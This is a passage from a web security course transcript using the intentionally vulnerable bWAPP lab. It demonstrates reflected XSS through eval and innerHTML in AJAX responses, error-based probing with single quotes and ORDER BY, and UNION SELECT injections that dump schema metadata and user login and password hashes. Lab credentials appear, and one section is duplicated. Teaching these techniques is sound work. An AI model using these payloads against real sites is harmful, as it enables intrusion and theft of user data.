vulnerable JSON response to execute JavaScript, which you control. You can go ahead and use
the following sample payload if you like. So go ahead and pause the video and see if you can
inject your own JavaScript into the title for the movie. Pause the video now and try the exercise.
If you complete the exercise successfully, great. If you didn't get it, that's okay. We will look at
the answer shortly.
So here we are at the cross-site scripting reflected AJAX/JSON exercise. Now when
you start to search for a movie, you'll notice that there is immediate feedback on the page. And
this, of course, is due to the AJAX behavior. It's making asynchronous calls to the backend
server, and these asynchronous calls allow for an immediate response that's displayed to the
page.
So if I type in a title, I'm immediately presented with a response from the server.
And you can see that this page is different from the other pages, because there's no button to
submit the page information. If we select F12 in the browser to see the developer tools, and we
go to the debugger tab. So within the script tag, we can see the AJAX code. Inside of this
function process, we can see the actual server side call, which is here. So it is a get, and of course
this is the name of the PHP script. It passes in the title.
Now let's take a look at how the response is handled, because this is where things go
wonky. So if we get a status 200, we can see that the AJAX response text is passed into the eval
function. This is really why the page is vulnerable. The fact that it's using AJAX is not the
problem. The fact that it returns JSON is not the problem. It's the fact that that result is being
passed into the eval function.
So let's go ahead and see how we can exploit this particular page. We're going to use
Burp to help us with this exercise. So making sure that your traffic is flowing through Burp. Now
the first thing you should notice is this continuous sending of the same request from the browser
to the web server.
Now what I have in the web page right now is Iron Man, and you can see that
because of the AJAX calls, those asynchronous calls, we just continuously get traffic. We can
see that the title that I typed here was Iron Man, and we can see the response mirrors what we see
on the screen. So how can we exploit this? What we could do is we could send one of these
responses over to Repeater, and instead of Iron Man, let's replace this with our payload.
We can click go, and notice that in the response we can see our script tags. Now if
we want, we can right click and show response in browser, copy this URL, go back to the web
application, open a new tab, paste it in, and then you will see the exploit occur. And once again,
the reason for this is because of the use of that JavaScript eval function.
Directions:
Alert in Browser
Sunny Wear: We've now reached our third and final exercise of this model. We're going to
be exploiting an AJAX request that has an XML response. Now as usual, you're going to log into
the bWAPP application using your username of bee and the password of bug. Make sure the
security setting is low. You're going to select from the menu, Cross-site Scripting Reflected
(AJAX/XML) under A3 section and click Hack.
Now this time you're going to attempt an exploit within the AJAX call that contains
an XML response. You want to control malicious JavaScript that will be executed in the victim's
browser and contained within that XML response. Now in order to perform this exploit, you will
be using the following payload. You're going to try loading an image that has a bogus source.
You can see here the source is equal to X. You're going to perform the JavaScript function,
onerror, and then within that onerror, perform an alert, and we're just going to reflect the number
one.
Now because there is URL encoding that is performed within the AJAX call, we're
going to need to modify our payload slightly and convert any kind of special characters to use
HTML encoded values instead. So the image source payload in its final version, will have the
HTML encoded values and I'll show you a quick way you can do that inside of Burp. So the
result will be that you can see your pop up of the alert box with the number one. Go ahead and
pause the video and try this exploit yourself. If you can get it to work successfully,
congratulations. If you can't, don't worry. We're going to go through the answer in just a
moment.
Here we are at the Cross-site Scripting Reflected AJAX XML exercise. This AJAX
code is similar to the other exercises that we've seen, so we can type in a movie name and we
immediately receive a response. The difference here is that this response is now an XML. If we
use bWAPP to help us, we can see this very clearly.
Here I'm looking at the request that I just sent through to the web server. Our call is
through a PHP script, XSS AJAX 1-2. Of course, I typed in Star Wars. Now you can see this
URL encoding here. Keep that in mind because we will need to do some manipulation of our
payload due to some encoding in the page. When we take a look at the response, we can see that
what is returned is in XML. There's even a tab here in Burp so that we can view the XML easily.
What we want to do is let's go ahead and send this to Repeater, and inside of Repeater we want
to change this payload to instead perform our alert. Now if you remember from the slide, I
provided a sample payload, but we do need to HTML encode that. Let's go ahead and write it out
raw first. We want to try to load an image and we're going to give the source of that image a
bogus value. Now we just close our tag. That is our payload.
Now as I mentioned, we need to HTML encode this. There's a couple of ways you
can do this in Burp. If you highlight the payload and you select control H, it will automatically
convert all of the special characters to be HTML encoded. Now you can also undo this if you
right click, convert selection HTML, and you can decode it back. You can encode it or decode it
either way that you like. I'm going to go ahead and encode this again, control H. Now I have my
payload.
Let's go ahead and copy that payload and return to our bWAPP application. Now
we're in our bWAPP application. Let's go ahead and replace the title with our payload. If you
wait for just a moment, then you will see the alert box. Let's go ahead and examine in the page
why this is vulnerable. If we do an F12 and we go to the Debugger tab and we go ahead and
reload the page, we can now see the code. This is the same AJAX code that we saw before.
One thing to point out is the value of the title that is typed into the text box goes
through a URL encode method before it gets assigned to the title variable. This is the reason why
we have to go ahead and encode our payload, which in this case is HTML. If you remember from
before, we had an issue inside of the handle server response function, where the result is being
placed in the DOM using InnerHTML, which we know is vulnerable to cross site scripting.
What we can do is let's go ahead and put a watch on this value. If you highlight it,
you can add, watch expression and then you'll see it over here in this box. Let's go ahead and put
our payload there. Then when we click, add watch expression again, what you can see is the
result is now being displayed in that value. Because of the AJAX, we had to add the watch again
to see it change. It's because it's being placed inside of the DOM using an InnerHTML, the page
is then vulnerable to cross site scripting.
Module Summary
In the next module, learn the basics of SQL construction followed by an explanation of the three
types of SQL injection.
Module Objectives:
SQL injection is an attack in which attackers can inject arbitrary SQL commands, through user
input, into a database and the database then executes those SQL statements. SQL injection
attacks are possible because the developer of the application trusts the user input and integrates
that input into the construction of the SQL statement without any escaping or encoding. This
portion of the course reviews the basics of SQL construction, followed by an explanation of the
three types of SQL injection and both demonstrations and exercises of each type. Exercises
include hands-on practice of each of the three types of SQL injection including error-based,
union, and blind.
Module Objectives:
• Understand the basics of SQL CRUD operations, specifically as they execute in the
bWAPP database.
• Identify the three types of SQL injection, including error-based, union, and blind.
• Demonstrate a SQL injection attack.
SQL (Structured Query Language) is the language used to write and work with databases, which
is how almost all companies store their data. Within the database, SQL commands such as
SELECT, SUM, and LIMIT can be used to search and analyze information within a dataset. The
LIKE operator is used in a WHERE clause to search for a specified pattern in a column and can
search for a pattern of the word “the” to retrieve all titles containing that word.
There are two wildcards often used in conjunction with the LIKE operator:
% - The percent sign represents zero, one, or multiple characters.
_ - The underscore represents a single character.
SQL in bWAPP
This video demonstrates how SQL statements are constructed and reviews the main operations of
SQL, namely, CRUD operations. CRUD stands for Create, Read, Update, and Delete. The
demonstration shows CRUD operations against the bWAPP database, which is used by the
bWAPP application.
• <Your_Assigned_IP>/phpMyAdmin
• Login as root, password is owaspbwa
bWAPP in phpMyAdmin
The success in your SQL injection attacks relies upon your understanding of SQL. SQL
is an acronym that stands for Structured Query Language. SQL uses keywords such as select,
update, insert and delete in order to work with the underlying data within a database. We
commonly refer to these statements as CRUD, C-R-U-D. CRUD stands for create, read, update,
delete. CRUD is just an easier way to refer to the operations that we commonly use against a
database. Now, in its simplest form, we have a query example, select * from table one. This will
pull back all of the columns that are available from table one.
We can refine our query and be very specific about which columns we want. How we do
this is by selecting the column name. In this example, we have select column one, column two
and so on all the way up to column five from table one. Then, we can refine the results that come
back by using a where clause. In this particular example, we want to focus on a particular value
that is found in column four, namely the value of name. There is also a like operator that can be
used to find patterns. Instead of using the equal sign, as in equal to name, we can use like with
wildcard operators such as percentage or underscore to find patterns instead.
For example, let's say I wanted to see the title, release, main character, genre, IMDB link
from the movies table where the title contains the word the. I'm using the like operator with the
percentage wildcard to pull back all the titles from the movie table that contain the word the.
Now, as we go through our bWAPP application, you will notice in each of the HTTP requests
the following structure, it's going to be a get... The HTTP request will be a get. Off of our root
directory of bWAPP, you will see the script SQLI_1.PHP. You will also see after the question
mark the title column, an equal sign and whatever input we type into the box.
In this example, we have Iron plus Man. Now, the Iron plus Man, now the plus represents
the space between Iron and Man. Within our database, the underlying structure would look like
this, select * from movies where title like Iron plus Man. Now, the like operator is used here.
You'll see this in the behavior of the page because it will pull back anything... Because it will
attempt to do a pattern match. What you will see as we go through the attacks is the value for this
title column is completely trusted by the developer, meaning that, as an attacker, we can put any
value we like in there in order to try to inject our own arbitrary SQL statements into the database.
Let's dig a little deeper now and look at a console that's made available in your VM that
allows us to query our database. If you go to the IP address that was assigned to your VM and
you go to the folder, PHP My Admin, you will be presented with a login screen. If you did not
change any of the credentials, the username is root and the password is OWASPBWA. Let's go
ahead and log in. Click go, and you will notice all of these databases that are available over here.
Now, we're only working with the bWAPP application, so let's click that database instance. Here,
you can see the names of all of the tables that are available in the bWAPP database instance.
Now, we will focus our attention on this movies table. If you click this browse icon, we can see
the data inside of there.
These are all of the movies that are available. You can also see the other columns in the
database. There's release year, genre, main character, IMDB link and tickets stock. You can also
see the query construction at the top that pulled back this data. Now, let's say that we wanted to
try out one of the like statements that we saw in the previous slides, if we go to this tab SQL, we
can refine this to perform other SQL statements that we would like to do. We want to look at the
title column and we want to use the like operator. We want to pull back anything that has the
word the, let's use our percentage operator.
This is the statement that I have, select * from movies where title like the. Of course, the
is a string so it needs to have the single quotes placed around it. Now, click the go button and
you can see that we have five rows that were pulled back. If we look at the data, we can see that
in each of these titles we have the word the. There are other ways that you can search your table.
If you go to this search tab, you can see that you can place values here in order to pull back
additional data. If we were interested in seeing all of the movies that have a genre of action, we
can type it here and click go. Now, you can see with the genre column highlighted, these are all
the movies that match that condition.
Input Sanitization
The lack of sanitization allows the malicious user input to move from being treated as data to be,
instead, treated as a query. Sanitization ensures all input conforms to acceptable values. Otherwise, the
input gets rejected.
To mitigate the risk of SQL injection attacks, developers must sanitize and neutralize user input before
executing the SQL operation. Common SQL injection mitigations include use of Prepared Statements and
parameterized queries ensure all input is treated as data.
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
version for the right syntax to use near ''' at line 1
SQL Injection
Please play the video to view the demo of an error-based SQL injection.
Speaker 1: Let's look at our first type of SQL injection, error-based. So error-based SQL injections
provide information displayed to the end user's screen that indicate something is wrong in the
construction of the SQL statement. Errors may indicate any of the following. That the SQL construction
uses unvalidated input. In other words, the display of the error message may indicate that the developer
is using the input as is and is not escaping the input while constructing the SQL command. An error may
also indicate the type of database used. This may actually be displayed in the error message itself. For
example, in our bWAPP application, if we type in iron man with a trailing single quote, we will receive
the following error: You have an error in your SQL syntax. Check the manual that corresponds to your
MySQL server version for the right syntax to use near single quote percentage, single quote, single quote
at line one.
So this tells us a lot of things. It tells us that the type of database that the application uses is
MySQL server. It also reaffirms to us what we learned in our last segment, which is that a like operator is
being used with the percentage wildcard. The reason why iron man, single quote produced this error is
because in the database, the actual query that was attempted included the following: select star from
movies where title like single quote, Ironman single quote, single quote. I have the extra single quote
indicated in red.
It's that extra single quote that produced the error message. The use of the single quote is
one of the easiest ways to detect if an application is vulnerable to SQL injection, since the information
displayed back to the end user is so helpful. Another way to use error messages to indicate the number
of columns that might be present inside of the underlying table is to use the order by operator. The
order by operator can tell an attacker the number of columns available just based on the error message
that is returned. So for example, when we actually use order by the proper way, we can select star from
movies where the title is like, and then represent each column with a numerical number. So the number
one would correspond in the movies table to the ID. Order by actually sorts the data as it comes back
from the query. So by using order by 7, we can then order the data to sort according to column seven.
When using the order by error-based SQL injection, we can continue to increment the
numbers until we receive an error message. In this example, we can see that we're searching for a
movie. We end the first query of the statement with a single quote. So we have one single quote order
by and in this case, because there are only seven columns when we use the number eight followed by a
comment which is dash dash and then a space, we receive an error that indicates we do not have a
column eight. The error here shows unknown column eight in order clause. So that confirms to us that
there are only seven columns that are available in this table.
Let's take a look at these error-based SQL injections in our demo. So after logging into our
bWAPP table as username bee and password of bug, let's select from the drop down the SQL injection
search get and click hack. That brings us to the movies search page. Now as we mentioned, if we type in
iron man and we click search, we do get data pulled back from the database, but if we add an additional
single quote at the end, we receive this error message. So this is our first indication that the database is
vulnerable to SQL injection.
Now let's go to the database administrative console and type that same SQL with the extra
single quote at the end. So the very first SQL command that we did looks like this. Select star from
movies where title like, and then single quote Ironman and an ending single quote. And we know that
that will pull back that one row of data, as we can see here. Now, if we take the extra quote at the end,
we can see that now iron man has an extra single quote, which means the construction of the SQL
statement is flawed and it will fail. So if we click go now, we do receive an error message quite similar to
the one that we saw displayed in the web application.
Now let's talk about the order by clause. So if I take a look at the structure of the movies
table, these are all the columns in the movies table, and as you can see there are seven. Now as an
attacker, I'm not going to know this, but if I use the order by clause, I would be able to determine the
number of columns if there is an error displayed back in the web application. If we take a look at the
order by in its proper form, we can see that we can reference each column by a numerical number, one
in this case representing ID and seven representing tickets stock.
So if I run this statement, select star from movies where title like one order by seven, we
don't receive any rows back, but you can see that this is a proper query and we do not receive any
errors. Now if I were to change the seven to an eight, you can see that I get the same message that's
displayed in the web application, unknown column eight, because of course there are only seven
columns.
So if we go back to our web application, we can reproduce this situation by typing in one,
single quote, order by eight, and then dash dash to represent commenting out the end of the rest of the
SQL statement and then a space. We have to put a space because that's the way that MySQL statements
are constructed. You click search and you can see that we now have the same error message that we
saw when we ran the statement inside of the database web console. If you want to see the situation
where there's no error message, you can just change this back to a seven, click search, and you see that
you get a nice message and a common user message displayed. In this case, no movies were found, lets
us know that there are at least seven columns in the movies database.
The first type of SQL injection we will review is the error-based injection. In this attack, the
developer trusts the input placed in the textbox and integrates it in the SQL query without any
escaping. If a user tries to access the URL /article.php?id=2', the following request will be
executed SELECT * FROM articles WHERE id=2'. However, the syntax of this SQL request is
incorrect because of the single quote, ' and the database will throw an error. For example,
MySQL will throw the following error message:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
version for the right syntax to use near ''' at line 1
SQL Injection
Please play the video to view the demo of an error-based SQL injection.
Speaker 1: Let's look at our first type of SQL injection, error-based. So error-based SQL
injections provide information displayed to the end user's screen that indicate something is
wrong in the construction of the SQL statement. Errors may indicate any of the following. That
the SQL construction uses unvalidated input. In other words, the display of the error message
may indicate that the developer is using the input as is and is not escaping the input while
constructing the SQL command. An error may also indicate the type of database used. This may
actually be displayed in the error message itself. For example, in our bWAPP application, if we
type in iron man with a trailing single quote, we will receive the following error: You have an
error in your SQL syntax. Check the manual that corresponds to your MySQL server version for
the right syntax to use near single quote percentage, single quote, single quote at line one.
So this tells us a lot of things. It tells us that the type of database that the application
uses is MySQL server. It also reaffirms to us what we learned in our last segment, which is that a
like operator is being used with the percentage wildcard. The reason why iron man, single quote
produced this error is because in the database, the actual query that was attempted included the
following: select star from movies where title like single quote, Ironman single quote, single
quote. I have the extra single quote indicated in red.
It's that extra single quote that produced the error message. The use of the single
quote is one of the easiest ways to detect if an application is vulnerable to SQL injection, since
the information displayed back to the end user is so helpful. Another way to use error messages
to indicate the number of columns that might be present inside of the underlying table is to use
the order by operator. The order by operator can tell an attacker the number of columns available
just based on the error message that is returned. So for example, when we actually use order by
the proper way, we can select star from movies where the title is like, and then represent each
column with a numerical number. So the number one would correspond in the movies table to
the ID. Order by actually sorts the data as it comes back from the query. So by using order by 7,
we can then order the data to sort according to column seven.
When using the order by error-based SQL injection, we can continue to increment
the numbers until we receive an error message. In this example, we can see that we're searching
for a movie. We end the first query of the statement with a single quote. So we have one single
quote order by and in this case, because there are only seven columns when we use the number
eight followed by a comment which is dash dash and then a space, we receive an error that
indicates we do not have a column eight. The error here shows unknown column eight in order
clause. So that confirms to us that there are only seven columns that are available in this table.
Let's take a look at these error-based SQL injections in our demo. So after logging
into our bWAPP table as username bee and password of bug, let's select from the drop down the
SQL injection search get and click hack. That brings us to the movies search page. Now as we
mentioned, if we type in iron man and we click search, we do get data pulled back from the
database, but if we add an additional single quote at the end, we receive this error message. So
this is our first indication that the database is vulnerable to SQL injection.
Now let's go to the database administrative console and type that same SQL with the
extra single quote at the end. So the very first SQL command that we did looks like this. Select
star from movies where title like, and then single quote Ironman and an ending single quote. And
we know that that will pull back that one row of data, as we can see here. Now, if we take the
extra quote at the end, we can see that now iron man has an extra single quote, which means the
construction of the SQL statement is flawed and it will fail. So if we click go now, we do receive
an error message quite similar to the one that we saw displayed in the web application.
Now let's talk about the order by clause. So if I take a look at the structure of the
movies table, these are all the columns in the movies table, and as you can see there are seven.
Now as an attacker, I'm not going to know this, but if I use the order by clause, I would be able
to determine the number of columns if there is an error displayed back in the web application. If
we take a look at the order by in its proper form, we can see that we can reference each column
by a numerical number, one in this case representing ID and seven representing tickets stock.
So if I run this statement, select star from movies where title like one order by seven,
we don't receive any rows back, but you can see that this is a proper query and we do not receive
any errors. Now if I were to change the seven to an eight, you can see that I get the same
message that's displayed in the web application, unknown column eight, because of course there
are only seven columns.
Next, let’s review how to perform a Union SQL injection attack. The UNION statement is used
to put together information from two requests:
SELECT * FROM articles WHERE id=3 UNION SELECT
Since it is used to retrieve information from other tables, it can be used as a SQL injection
payload. The beginning of the query can't be modified directly by the attacker since it's generated
by the PHP code. However using UNION, the attacker can manipulate the end of the query and
retrieve information from other tables:
SELECT id,name,price FROM articles WHERE id=3 UNION SELECT id,login,password
FROM users
The most important rule is that both statements should return the same number of columns;
otherwise, the database will trigger an error. UNION can retrieve data from a different table and
display within the web application, but both numbers of columns must match. The number of
columns in the second table must match the number of columns available in the first table, or the
query will fail.
Union Select
Please play the video to view the demo of a UNION SQL injection.
Speaker 1: Now let's learn about our second type of SQL injection using the UNION
operator. So UNION is an operator that is used to retrieve data from different tables and display
the result of both tables within the web page. Now, the trick to using the UNION operator is both
number of columns must match. In other words, the number of columns in the second table that
you're actually using in the attack must match the number of columns that are available in the
first table or the query that's actually being used by the web application. Now if the number of
columns do not match, your attempt at the SQL injection will fail. If they don't match, you will
receive a message in the web application that will indicate that there is a different number of
columns. You can see in this example that a UNION operator is being used to concatenate the
result set from movies with the result set of users.
Unfortunately, users does not have the same number of columns as movies, and so
the query fails. The UNION operator is used widely in SQL injection attacks in order to find out
the underlying database schema. So, for example, if we wanted to determine the underlying
schema and find out the names of all of the tables that are available in the database, we would
use the query select star from information schema dot tables. Now constructed within our web
application, inside of the user input text box, we would of course use our single quote. Then we
would start with the UNION operator followed by the select statement that is our actual SQL
injection attack. So in this case we would select columns one and two, table name, which is a
predictable or known column from the information schema, columns four five six, seven. And of
course we're drawing that from information underscore schema dot tables.
We end with our comments and of course a space. I have the space represented with
an ending dash so you can see the spaces there. So we would place this payload into our
username text box. Once we can identify the number of columns that are used in the query by the
web application, there really is no end to the number of different types of SQL injection attacks
we can continue to use. For example, in this UNION statement, we are selecting the table
schema, the table name and the column name from the information underscore schema dot
columns where the table underscore schema is equal to our current database. So as you can see,
you can continue to use this pattern to draw all of the metadata that is being used by the
underlying database. Let's go ahead and go into our demo and better understand how UNION
works both the proper way as well as in the construction of our SQL injection attacks.
Now let's talk about constructing SQL injection attacks using the UNION operator.
So I'm back in my PHP, my admin, and I'm looking at the bWAPP database instance and I can
see that I have four tables here. Now in general, the construction of a UNION statement allows
us to have the result set of two tables put together, but there are some rules. For example, our two
tables that we want to put the result set together of need to have the same number of columns.
Let's take a look at what we have available in the bWAPP database instance.
We have a table called blog. If we take a look at the structure of that, we can see
there are four columns. If we also take a look at the structure of heroes, there are four columns.
This means we can go to our SQL area. We could use the union operator to concatenate the
result set of both queries. So how I would do that is I would select star from blog and use the
UNION operator to also select star from heroes. So we can run this and we can now see the
combination of the results of both tables. One thing that you should realize is the number of
columns of both tables must match, and this is important when we start looking at constructing
our attack. So let's take a look at an example of where they do not match.
If we return to our SQL area and we try to use the union statement with our movies
table, you can see that we receive an error message. It says, "The used select statements have a
different number of columns." This is important to remember as we will see this message pop up
again when we go to construct our SQL injection attack, so let's remember that in the
construction of our SQL injection attack, the number of columns in our attack, which will be this
second query, must match the number of columns that is being used in the select statement by the
application.
So in this case we would have to change this to be block. Now what we're going to
do with the UNION statement is we're going to use this statement to help us identify the
underlying database metadata. If I wanted to see the underlying schema for all of the tables in
this database, I could select star from information underscore schema dot tables. The result of
this query gives me all of the tables available in the entire database, including the ones beyond
our bWAPP database instance. As you know, in the VM itself, there are several vulnerable web
applications and so what we're looking at are all of the tables within all of those database
instances.
I can change tables to columns and you can see that any of these column names, I
could then query on. Something that might be interesting is the underlying table schema of the
current database that we're running against in a particular webpage. So let's modify our payload
to see if we can get this to work in the web application.
So for constructing our payload, of course we're going to use our single quote
followed by our UNION statement. Then we're going to do a select of the table schema, table
name and column name from the information schema table where we looked at the columns. So
if we go back to the structure, we can see those column names here, table schema, table name,
column name. So after grabbing those column names, if we don't want any of these other
columns, we can just represent them with numbers, ensuring that our numbers are seven.
So we've got a number representing column for four, the column five, the column
six and the column seven. Now we could easily replace four, five, six and seven with other
columns here if we wanted to. Of course, we're specifying that this is coming from the
information schema meta table and that we're focused on columns. In particular, we want to
identify current database and of course we have to follow up with our comments followed by a
space and I'm adding an extra dash just to ensure that space at the end. When we run this, of
course we get all of the movies pulled back from the movies table, but you can see here that we
also get all of the other tables that are available in our current database, which is bWAPP.
Not only that, but now we have the names of those columns. We've got our blog
table name being displayed along with all of the columns that are available in blog. Same thing
with heroes. Here we can see all of the column names that are now available in heroes. Movies,
users. For our next attack we would want to see what is the login and password value available
for the current user. If we return back to our database web interface, let's just take a look at the
structure of the users table.
The users table has several columns, but the two columns of interest would be login
and password, and these are in positions two and three. So when we construct our SQL attack,
we want to make sure that we're focused on columns two and three. So instead of no, we can use
login since that corresponds to what our structure showed, login and password.
Many times what attackers will do is they'll represent the other fields with the word
null. This makes it easy because null can represent a string. So we're going to try our new attack
against our vulnerable web application.
Let's take a look at what we have in the input box. Of course we have some good
data, followed by our ending single quote, followed by our UNION operator, and then our select
statement. We don't really care about the ID. That's the first column. So we'll just put null. Login,
password. And then the fourth column is null, fifth is null, sixth, null, seven, null. We know that
we have to search for seven columns because that is what is available. Of course, we're pulling
this data from the users table in the current database. We have to have our comment and our
space, and there you see I have an extra dash. Let's go ahead and try this.
Great. So what gets pulled back are the login values. So these are usernames and
then the hashed values of these passwords. And since these are MD five, we could very easily
Google for their values instead of having to crack them. So now it's your turn. I would like for
you to try the same payload in the vulnerable web application, use the get SQL injection and try
to hack it yourself.
Exercise 1 - SQL Injection: Error-based & UNION